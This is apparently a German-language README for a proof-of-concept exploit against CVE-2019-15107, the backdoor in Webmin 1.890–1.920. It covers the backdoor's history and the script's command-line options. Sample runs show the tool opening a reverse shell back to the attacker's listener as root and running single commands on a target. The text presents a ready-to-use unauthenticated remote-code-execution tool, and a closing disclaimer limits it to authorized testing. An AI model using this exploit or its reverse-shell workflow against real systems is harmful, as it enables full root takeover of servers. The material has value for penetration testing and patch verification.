
Proof-of-Concept-Exploit für CVE-2019-15107 (Webmin <= 1.920), der nicht authentifizierte RCE durch Befehlsinjektion ermöglicht.
Dieses Repository enthält einen Proof-of-Concept (PoC)-Exploit für CVE-2019-15107, der die Webmin-Versionen 1.890 bis 1.920 betrifft.
Das Skript nutzt eine Hintertür in den Versionen 1.890 bis 1.920 aus, die es nicht authentifizierten Benutzern ermöglicht, Befehle in den password_change.cgi-Endpunkt über den old-Parameter (in v.1.890 expired) einzuschleusen. Nur die SourceForge-Downloads waren mit der Hintertür versehen, aber diese werden auf der Projektseite als offizielle Downloads aufgeführt.
Unbekannte Angreifer haben zu zwei verschiedenen Zeitpunkten Perl-qx-Anweisungen in den Quellcode des Build-Servers eingefügt: einmal im April 2018, wodurch die Hintertür in der Version 1.890 eingeführt wurde, und im Juli 2018, wodurch die Hintertür in den Versionen 1.900 bis 1.920 erneut eingeführt wurde.
Nur Version 1.890 ist in der Standardinstallation ausnutzbar. Bei späteren betroffenen Versionen muss die Funktion zum Ändern abgelaufener Passwörter aktiviert sein.
Der Exploit wurde erfolgreich gegen folgende Konfiguration getestet:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Zeige diese Hilfe an und beende
-r, --rhost RHOST Ziel-IP-Adresse
-rp, --rport RPORT Ziel-Port (Standard: 10000)
-l, --lhost LHOST Lokale IP für Reverse Shell
-lp, --lport LPORT Lokaler Port für Reverse Shell (Standard: 4343)
-s, --scheme {http,https} Zu verwendendes Protokoll (Standard: https)
-x, --proxy [PROXY] Proxy verwenden (Standard: http://127.0.0.1:8080)
-f, --force Erzwinge Exploitation, auch wenn die Erkennung fehlschlägt
-c, --cmd CMD Führe einen einzelnen Befehl anstelle einer Reverse Shell aus
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
von adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
von adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Tests. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben, ist illegal. Verwenden Sie es verantwortungsbewusst.